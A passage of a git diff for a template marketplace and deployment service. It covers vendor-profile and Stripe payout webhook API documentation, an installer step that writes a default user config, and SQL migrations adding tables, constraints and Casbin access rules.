+### Auth
+
+Bearer token required.
+
+### Request body
+
+No request body required.
+
+### Success response
+
+```json
+{
+  "message": "OK",
+  "item": {
+    "creator_user_id": "user_123",
+    "payout_ready": false,
+    "completion_recorded": true,
+    "vendor_profile": {
+      "creator_user_id": "user_123",
+      "verification_status": "pending",
+      "onboarding_status": "completed",
+      "payouts_enabled": false,
+      "payout_provider": "mock",
+      "metadata": {
+        "onboarding": {
+          "started_at": "2026-04-12T12:00:00Z",
+          "completed_at": "2026-04-12T12:05:00Z",
+          "completion_source": "creator_api"
+        }
+      },
+      "created_at": "2026-04-12T12:00:00Z",
+      "updated_at": "2026-04-12T12:05:00Z"
+    }
+  }
+}
+```
+
+### Behavior
+
+- Idempotent.
+- If onboarding was already completed, the request still returns `200 OK` and `completion_recorded = false`.
+- If onboarding was never started, the endpoint returns `409`.
+
+### Error responses
+
+#### 403 Authentication required
+
+```json
+{
+  "message": "Authentication required"
+}
+```
+
+#### 409 Onboarding link must exist before completion
+
+```json
+{
+  "message": "Onboarding link must exist before completion"
+}
+```
+
+---
+
+# 6. Payout provider webhook
+
+## POST `/api/v1/marketplace/payouts/webhook`
+
+Receives payout-provider webhook events. Currently implemented for Stripe Connect `account.updated` events.
+
+### Auth
+
+No bearer token. The endpoint is public for provider delivery, but Stripe payloads are verified with `Stripe-Signature` when `STRIPE_WEBHOOK_SECRET` / `PAYOUT_STRIPE_WEBHOOK_SECRET` is configured.
+
+### Headers
+
+```http
+Stripe-Signature: t=...,v1=...
+```
+
+### Behavior
+
+For Stripe Connect:
+
+- Ignores unsupported event types.
+- Handles `account.updated`.
+- Reads `data.object.id` as the connected account id.
+- Reads `details_submitted` as onboarding completion state.
+- Reads `payouts_enabled` as provider payout capability.
+- Updates the matching vendor profile by `payout_provider = "stripe_connect"` and `payout_account_ref = account.id`.
+
+### Success responses
+
+```json
+{
+  "message": "Webhook processed"
+}
+```
+
+or for ignored event types:
+
+```json
+{
+  "message": "Webhook ignored"
+}
+```
+
+### Error responses
+
+Invalid signature / invalid payload returns `400`.
+
+---
+
+# 7. Admin update vendor profile
+
+## PATCH `/api/admin/templates/{templateId}/vendor-profile`
+
+Admin endpoint to create or update the template creator's vendor profile.
+
+### Path param
+
+| Name | Type | Required |
+|---|---|---:|
+| `templateId` | UUID string | yes |
+
+### Auth
+
+Admin bearer token required.
+
+### Request body
+
+All fields are optional, but at least one field must be provided.
+
+```json
+{
+  "verification_status": "pending",
+  "onboarding_status": "in_progress",
+  "payouts_enabled": false,
+  "payout_provider": "stripe_connect",
+  "payout_account_ref": "acct_123",
+  "metadata": {
+    "country": "NL"
+  }
+}
+```
+
+### Validation
+
+- body must not be empty
+- `metadata` must be a JSON object
+- `verification_status` must be one of:
+  - `unverified`
+  - `pending`
+  - `verified`
+  - `rejected`
+- `onboarding_status` must be one of:
+  - `not_started`
+  - `in_progress`
+  - `completed`
+
+### Success response
+
+```json
+{
+  "message": "Vendor profile updated"
+}
+```
+
+### Error responses
+
+#### 400 Invalid status or invalid body
+
+```json
+{
+  "message": "Invalid verification_status 'not-a-real-status'. Allowed values: unverified, pending, verified, rejected"
+}
+```
+
+```json
+{
+  "message": "No vendor profile fields provided"
+}
+```
+
+```json
+{
+  "message": "metadata must be a JSON object"
+}
+```
+
+#### 404 Template not found
+
+```json
+{
+  "message": "Template not found"
+}
+```
+
+#### 403 Forbidden
+
+Admin auth required.
+
+---
+
+# Public vendor object shape
+
+Used in `GET /api/vendors/{vendor}`.
+
+```ts
+export interface PublicVendorProfile {
+  creator_user_id: string;
+  slug: string | null;
+  display_name: string | null;
+  bio: string | null;
+  avatar_url: string | null;
+  website_url: string | null;
+  verified: boolean;
+  rating: number | null;
+  rating_count: number;
+  rating_scale: 5;
+  metadata: Record<string, unknown>;
+  created_at: string | null;
+}
+
+export interface PublicVendorTemplate {
+  id: string;
+  creator_user_id: string;
+  creator_name: string | null;
+  name: string;
+  slug: string;
+  short_description: string | null;
+  long_description: string | null;
+  status: string;
+  vendor_url: string | null;
+  tags: unknown;
+  tech_stack: unknown;
+  view_count: number | null;
+  deploy_count: number | null;
+  created_at: string | null;
+  updated_at: string | null;
+  approved_at: string | null;
+  rating: number | null;
+  rating_count: number;
+  rating_scale: 5;
+}
+
+export interface TemplateRatingSummary {
+  template_id: string;
+  rating: number | null;
+  rating_count: number;
+  rating_scale: 5;
+}
+
+export interface MyTemplateRating {
+  template_id: string;
+  rating_id: number;
+  rating: number;
+  rating_scale: 5;
+  comment: string | null;
+  created_at: string;
+  updated_at: string;
+}
+```
+
+---
+
+# Creator vendor profile object shape
+
+Used in creator self/status/onboarding responses.
+
+```ts
+export interface VendorProfile {
+  creator_user_id: string;
+  verification_status: 'unverified' | 'pending' | 'verified' | 'rejected';
+  onboarding_status: 'not_started' | 'in_progress' | 'completed';
+  payouts_enabled: boolean;
+  payout_provider: string | null;
+  metadata: Record<string, unknown>;
+  created_at: string | null;
+  updated_at: string | null;
+}
+```
+
+---
+
+# Frontend implementation notes
+
+## Public vendor page
+
+Recommended flow:
+1. route user to `/vendors/:slug`
+2. call `GET /api/vendors/:slug`
+3. render:
+   - avatar/logo
+   - display name
+   - bio
+   - website link
+   - approved template cards
+
+## Creator dashboard
+
+Recommended flow:
+1. call `GET /api/templates/mine/vendor-profile`
+2. if onboarding has not started, call `POST /api/templates/mine/vendor-profile/onboarding-link`
+3. once onboarding is complete, call `POST /api/templates/mine/vendor-profile/onboarding-complete`
+4. use `payout_ready` as the main CTA state signal
+
+## Payout provider configuration
+
+The onboarding endpoints are backed by a provider abstraction.
+
+- `mock` is the default for dev/test and returns a mock onboarding URL.
+- `stripe_connect` creates/reuses Stripe Express accounts and returns Stripe account onboarding links.
+
+Runtime config:
+
+```yaml
+payouts:
+  provider: mock # or stripe_connect
+  stripe_api_base_url: https://api.stripe.com
+  onboarding_return_url: https://stacker.try.direct/marketplace/vendor/onboarding/return
+  onboarding_refresh_url: https://stacker.try.direct/marketplace/vendor/onboarding/refresh
+  timeout_secs: 15
+```
+
+Secrets must come from environment variables:
+
+```bash
+STACKER_PAYOUT_PROVIDER=stripe_connect
+STRIPE_SECRET_KEY=sk_live_...
+STRIPE_WEBHOOK_SECRET=whsec_...
+```
+
+Frontend should use the returned `onboarding_url` rather than assuming a provider-specific URL format.
+
+Stripe webhook target:
+
+```text
+POST https://<stacker-public-host>/api/v1/marketplace/payouts/webhook
+```
diff --git a/install.sh b/install.sh
index 6f0b486a..982e629e 100755
--- a/install.sh
+++ b/install.sh
@@ -105,6 +105,38 @@ download_and_install() {
     fi
 
     ok "Installed stacker v${version} to ${INSTALL_DIR}/${BINARY_NAME}"
+
+    write_user_config
+}
+
+# ── Write user config ────────────────────────────────
+
+write_user_config() {
+    local config_dir config_file
+
+    config_dir="${XDG_CONFIG_HOME:-${HOME}/.config}/stacker"
+    config_file="${config_dir}/config.yml"
+
+    mkdir -p "$config_dir"
+
+    if [ -f "$config_file" ]; then
+        info "User config already exists at ${config_file} — skipping"
+        return
+    fi
+
+    cat > "$config_file" <<'EOF'
+# Stacker CLI user configuration
+# Priority: CLI flag > environment variable > this file > built-in default
+
+auth_url: https://try.direct/server/user
+server_url: https://try.direct/stacker
+
+login:
+  browser: true
+  provider: gc   # gc = Google, gh = GitHub
+EOF
+
+    ok "Wrote default config to ${config_file}"
 }
 
 # ── Verify install ───────────────────────────────────
diff --git a/migrations/20260331140000_deployment_fk_cascade.down.sql b/migrations/20260331140000_deployment_fk_cascade.down.sql
new file mode 100644
index 00000000..62b6d420
--- /dev/null
+++ b/migrations/20260331140000_deployment_fk_cascade.down.sql
@@ -0,0 +1,5 @@
+-- Revert to original FK without cascade
+ALTER TABLE deployment DROP CONSTRAINT fk_project;
+ALTER TABLE deployment
+    ADD CONSTRAINT fk_project
+    FOREIGN KEY (project_id) REFERENCES project(id);
diff --git a/migrations/20260331140000_deployment_fk_cascade.up.sql b/migrations/20260331140000_deployment_fk_cascade.up.sql
new file mode 100644
index 00000000..d366e601
--- /dev/null
+++ b/migrations/20260331140000_deployment_fk_cascade.up.sql
@@ -0,0 +1,8 @@
+-- Fix FK on deployment.project_id to cascade on project delete.
+-- Previously it defaulted to RESTRICT, causing 500 when deleting a project
+-- that had associated deployments.
+ALTER TABLE deployment DROP CONSTRAINT fk_project;
+ALTER TABLE deployment
+    ADD CONSTRAINT fk_project
+    FOREIGN KEY (project_id) REFERENCES project(id)
+    ON UPDATE CASCADE ON DELETE CASCADE;
diff --git a/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql b/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql
new file mode 100644
index 00000000..26115c68
--- /dev/null
+++ b/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql
@@ -0,0 +1,2 @@
+ALTER TABLE stack_template
+DROP COLUMN IF EXISTS infrastructure_requirements;
diff --git a/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql b/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql
new file mode 100644
index 00000000..4f20d8a5
--- /dev/null
+++ b/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql
@@ -0,0 +1,2 @@
+ALTER TABLE stack_template
+ADD COLUMN IF NOT EXISTS infrastructure_requirements JSONB NOT NULL DEFAULT '{}'::jsonb;
diff --git a/migrations/20260412073000_create_marketplace_vendor_profile.down.sql b/migrations/20260412073000_create_marketplace_vendor_profile.down.sql
new file mode 100644
index 00000000..7611d895
--- /dev/null
+++ b/migrations/20260412073000_create_marketplace_vendor_profile.down.sql
@@ -0,0 +1 @@
+DROP TABLE IF EXISTS marketplace_vendor_profile;
diff --git a/migrations/20260412073000_create_marketplace_vendor_profile.up.sql b/migrations/20260412073000_create_marketplace_vendor_profile.up.sql
new file mode 100644
index 00000000..3a4e49c3
--- /dev/null
+++ b/migrations/20260412073000_create_marketplace_vendor_profile.up.sql
@@ -0,0 +1,15 @@
+CREATE TABLE IF NOT EXISTS marketplace_vendor_profile (
+    creator_user_id VARCHAR(50) PRIMARY KEY,
+    verification_status VARCHAR(50) NOT NULL DEFAULT 'unverified' CHECK (
+        verification_status IN ('unverified', 'pending', 'verified', 'rejected')
+    ),
+    onboarding_status VARCHAR(50) NOT NULL DEFAULT 'not_started' CHECK (
+        onboarding_status IN ('not_started', 'in_progress', 'completed')
+    ),
+    payouts_enabled BOOLEAN NOT NULL DEFAULT false,
+    payout_provider VARCHAR(100),
+    payout_account_ref VARCHAR(255),
+    metadata JSONB NOT NULL DEFAULT '{}'::jsonb,
+    created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
+);
diff --git a/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql b/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql
new file mode 100644
index 00000000..5dd2d387
--- /dev/null
+++ b/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql
@@ -0,0 +1,14 @@
+ALTER TABLE stack_template
+DROP CONSTRAINT IF EXISTS stack_template_status_check;
+
+ALTER TABLE stack_template
+ADD CONSTRAINT stack_template_status_check CHECK (
+    status IN (
+        'draft',
+        'submitted',
+        'under_review',
+        'approved',
+        'rejected',
+        'deprecated'
+    )
+);
diff --git a/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql b/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql
new file mode 100644
index 00000000..e5f8d5bb
--- /dev/null
+++ b/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql
@@ -0,0 +1,15 @@
+ALTER TABLE stack_template
+DROP CONSTRAINT IF EXISTS stack_template_status_check;
+
+ALTER TABLE stack_template
+ADD CONSTRAINT stack_template_status_check CHECK (
+    status IN (
+        'draft',
+        'submitted',
+        'under_review',
+        'needs_changes',
+        'approved',
+        'rejected',
+        'deprecated'
+    )
+);
diff --git a/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql b/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql
new file mode 100644
index 00000000..7691d2bd
--- /dev/null
+++ b/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/admin/templates/:id/needs-changes'
+  AND v2 = 'POST';
diff --git a/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql b/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql
new file mode 100644
index 00000000..08aaefb7
--- /dev/null
+++ b/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql
@@ -0,0 +1,11 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'admin_service', '/api/admin/templates/:id/needs-changes', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/admin/templates/:id/needs-changes', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'root', '/api/admin/templates/:id/needs-changes', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql b/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql
new file mode 100644
index 00000000..d1d21872
--- /dev/null
+++ b/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule WHERE v1 IN (
+    '/api/admin/templates/:id/vendor-profile',
+    '/stacker/api/admin/templates/:id/vendor-profile'
+) AND v2 = 'PATCH';
diff --git a/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql b/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql
new file mode 100644
index 00000000..c76d5127
--- /dev/null
+++ b/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql
@@ -0,0 +1,16 @@
+-- Add Casbin rules for admin vendor profile patch endpoint
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'admin_service', '/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'admin_service', '/stacker/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/stacker/api/admin/templates/:id/vendor-profile', 'PATCH', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql b/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql
new file mode 100644
index 00000000..f799ed7f
--- /dev/null
+++ b/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/templates/:id/vendor-profile-status'
+  AND v2 = 'GET';
diff --git a/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql b/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql
new file mode 100644
index 00000000..bc9e7524
--- /dev/null
+++ b/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/:id/vendor-profile-status', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/:id/vendor-profile-status', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql b/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql
new file mode 100644
index 00000000..ac1dd61d
--- /dev/null
+++ b/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/templates/mine/vendor-profile'
+  AND v2 = 'GET';
diff --git a/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql b/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql
new file mode 100644
index 00000000..859def66
--- /dev/null
+++ b/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql b/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql
new file mode 100644
index 00000000..693fe7ba
--- /dev/null
+++ b/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/templates/mine/vendor-profile/onboarding-link'
+  AND v2 = 'POST';
diff --git a/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql b/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql
new file mode 100644
index 00000000..fdef1b16
--- /dev/null
+++ b/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile/onboarding-link', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile/onboarding-link', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql b/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql
new file mode 100644
index 00000000..44f18f53
--- /dev/null
+++ b/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/templates/mine/vendor-profile/onboarding-complete'
+  AND v2 = 'POST';
diff --git a/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql b/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql
new file mode 100644
index 00000000..853bb240
--- /dev/null
+++ b/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/mine/vendor-profile/onboarding-complete', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/mine/vendor-profile/onboarding-complete', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260412113000_casbin_handoff_rules.down.sql b/migrations/20260412113000_casbin_handoff_rules.down.sql
new file mode 100644
index 00000000..044556df
--- /dev/null
+++ b/migrations/20260412113000_casbin_handoff_rules.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE (ptype, v0, v1, v2, v3, v4, v5) IN (
+    ('p', 'group_user', '/api/v1/handoff/mint', 'POST', '', '', ''),
+    ('p', 'group_anonymous', '/api/v1/handoff/resolve', 'POST', '', '', '')
+);
diff --git a/migrations/20260412113000_casbin_handoff_rules.up.sql b/migrations/20260412113000_casbin_handoff_rules.up.sql
new file mode 100644
index 00000000..15f24e2b
--- /dev/null
+++ b/migrations/20260412113000_casbin_handoff_rules.up.sql
@@ -0,0 +1,9 @@
+-- Allow authenticated users to mint CLI handoff commands for their deployments.
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/v1/handoff/mint', 'POST', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
+
+-- Allow anonymous resolution because the handoff token itself is the credential.
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/v1/handoff/resolve', 'POST', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260413083000_casbin_project_rollback_rule.down.sql b/migrations/20260413083000_casbin_project_rollback_rule.down.sql
new file mode 100644
index 00000000..1c62d8c9
--- /dev/null
+++ b/migrations/20260413083000_casbin_project_rollback_rule.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE (ptype, v0, v1, v2, v3, v4, v5) IN (
+    ('p', 'group_user', '/project/:id/rollback', 'POST', '', '', ''),
+    ('p', 'client', '/project/:id/rollback', 'POST', '', '', '')
+);
diff --git a/migrations/20260413083000_casbin_project_rollback_rule.up.sql b/migrations/20260413083000_casbin_project_rollback_rule.up.sql
new file mode 100644
index 00000000..fcaaf802
--- /dev/null
+++ b/migrations/20260413083000_casbin_project_rollback_rule.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/project/:id/rollback', 'POST', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'client', '/project/:id/rollback', 'POST', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260413084500_create_project_member_table.down.sql b/migrations/20260413084500_create_project_member_table.down.sql
new file mode 100644
index 00000000..6166fecd
--- /dev/null
+++ b/migrations/20260413084500_create_project_member_table.down.sql
@@ -0,0 +1,2 @@
+DROP INDEX IF EXISTS idx_project_member_user_id;
+DROP TABLE IF EXISTS project_member;
diff --git a/migrations/20260413084500_create_project_member_table.up.sql b/migrations/20260413084500_create_project_member_table.up.sql
new file mode 100644
index 00000000..205c1830
--- /dev/null
+++ b/migrations/20260413084500_create_project_member_table.up.sql
@@ -0,0 +1,11 @@
+CREATE TABLE IF NOT EXISTS project_member (
+    project_id INTEGER NOT NULL REFERENCES project(id) ON DELETE CASCADE,
+    user_id TEXT NOT NULL,
+    role VARCHAR(32) NOT NULL,
+    created_by TEXT NOT NULL,
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    PRIMARY KEY (project_id, user_id)
+);
+
+CREATE INDEX IF NOT EXISTS idx_project_member_user_id ON project_member(user_id);
diff --git a/migrations/20260413085000_casbin_project_member_rule.down.sql b/migrations/20260413085000_casbin_project_member_rule.down.sql
new file mode 100644
index 00000000..c59f3110
--- /dev/null
+++ b/migrations/20260413085000_casbin_project_member_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE (ptype, v0, v1, v2, v3, v4, v5) IN (
+    ('p', 'group_user', '/project/:id/members', 'POST', '', '', '')
+);
diff --git a/migrations/20260413085000_casbin_project_member_rule.up.sql b/migrations/20260413085000_casbin_project_member_rule.up.sql
new file mode 100644
index 00000000..aa7e8ce0
--- /dev/null
+++ b/migrations/20260413085000_casbin_project_member_rule.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/project/:id/members', 'POST', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260413093000_casbin_project_shared_rule.down.sql b/migrations/20260413093000_casbin_project_shared_rule.down.sql
new file mode 100644
index 00000000..8d9a575c
--- /dev/null
+++ b/migrations/20260413093000_casbin_project_shared_rule.down.sql
@@ -0,0 +1,4 @@
+DELETE FROM public.casbin_rule
+WHERE (ptype, v0, v1, v2, v3, v4, v5) IN (
+    ('p', 'group_user', '/project/shared', 'GET', '', '', '')
+);
diff --git a/migrations/20260413093000_casbin_project_shared_rule.up.sql b/migrations/20260413093000_casbin_project_shared_rule.up.sql
new file mode 100644
index 00000000..7b8e6c74
--- /dev/null
+++ b/migrations/20260413093000_casbin_project_shared_rule.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/project/shared', 'GET', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260413101500_casbin_project_member_manage_rules.down.sql b/migrations/20260413101500_casbin_project_member_manage_rules.down.sql
new file mode 100644
index 00000000..bb42b6cb
--- /dev/null
+++ b/migrations/20260413101500_casbin_project_member_manage_rules.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE (ptype, v0, v1, v2, v3, v4, v5) IN (
+    ('p', 'group_user', '/project/:id/members', 'GET', '', '', ''),
+    ('p', 'group_user', '/project/:id/members/:member_user_id', 'DELETE', '', '', '')
+);
diff --git a/migrations/20260413101500_casbin_project_member_manage_rules.up.sql b/migrations/20260413101500_casbin_project_member_manage_rules.up.sql
new file mode 100644
index 00000000..4e06aea3
--- /dev/null
+++ b/migrations/20260413101500_casbin_project_member_manage_rules.up.sql
@@ -0,0 +1,7 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/project/:id/members', 'GET', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/project/:id/members/:member_user_id', 'DELETE', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260424164000_agreement_api_casbin_rules.down.sql b/migrations/20260424164000_agreement_api_casbin_rules.down.sql
new file mode 100644
index 00000000..9d5e6d5f
--- /dev/null
+++ b/migrations/20260424164000_agreement_api_casbin_rules.down.sql
@@ -0,0 +1,8 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 IN ('group_user', 'group_admin')
+  AND (
+    (v1 = '/api/agreement' AND v2 IN ('GET', 'POST'))
+    OR (v1 = '/api/agreement/:id' AND v2 = 'GET')
+    OR (v1 = '/api/agreement/accepted/:id' AND v2 = 'GET')
+  );
diff --git a/migrations/20260424164000_agreement_api_casbin_rules.up.sql b/migrations/20260424164000_agreement_api_casbin_rules.up.sql
new file mode 100644
index 00000000..306ec9b1
--- /dev/null
+++ b/migrations/20260424164000_agreement_api_casbin_rules.up.sql
@@ -0,0 +1,9 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/agreement', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/agreement/:id', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/agreement', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/agreement/accepted/:id', 'GET', '', '', ''),
+    ('p', 'group_admin', '/api/agreement', 'GET', '', '', ''),
+    ('p', 'group_admin', '/api/agreement/:id', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260426000000_seed_agreement.down.sql b/migrations/20260426000000_seed_agreement.down.sql
new file mode 100644
index 00000000..beb340cc
--- /dev/null
+++ b/migrations/20260426000000_seed_agreement.down.sql
@@ -0,0 +1 @@
+DELETE FROM agreement WHERE id = 1;
diff --git a/migrations/20260426000000_seed_agreement.up.sql b/migrations/20260426000000_seed_agreement.up.sql
new file mode 100644
index 00000000..92310d64
--- /dev/null
+++ b/migrations/20260426000000_seed_agreement.up.sql
@@ -0,0 +1,11 @@
+INSERT INTO agreement (id, name, text, created_at, updated_at)
+VALUES (
+    1,
+    'Terms of Service',
+    'By using the TryDirect Stacker platform you agree to our Terms of Service and Privacy Policy available at https://try.direct/terms',
+    NOW() AT TIME ZONE 'utc',
+    NOW() AT TIME ZONE 'utc'
+)
+ON CONFLICT (id) DO NOTHING;
+
+SELECT setval(pg_get_serial_sequence('agreement', 'id'), GREATEST(1, (SELECT MAX(id) FROM agreement)));
diff --git a/migrations/20260426113914_enrich_marketplace_template_form.down.sql b/migrations/20260426113914_enrich_marketplace_template_form.down.sql
new file mode 100644
index 00000000..597ee74c
--- /dev/null
+++ b/migrations/20260426113914_enrich_marketplace_template_form.down.sql
@@ -0,0 +1,7 @@
+-- Rollback: Remove marketplace template enrichment columns
+
+DROP INDEX IF EXISTS idx_stack_template_vendor_url;
+
+ALTER TABLE stack_template
+DROP COLUMN IF EXISTS public_ports,
+DROP COLUMN IF EXISTS vendor_url;
diff --git a/migrations/20260426113914_enrich_marketplace_template_form.up.sql b/migrations/20260426113914_enrich_marketplace_template_form.up.sql
new file mode 100644
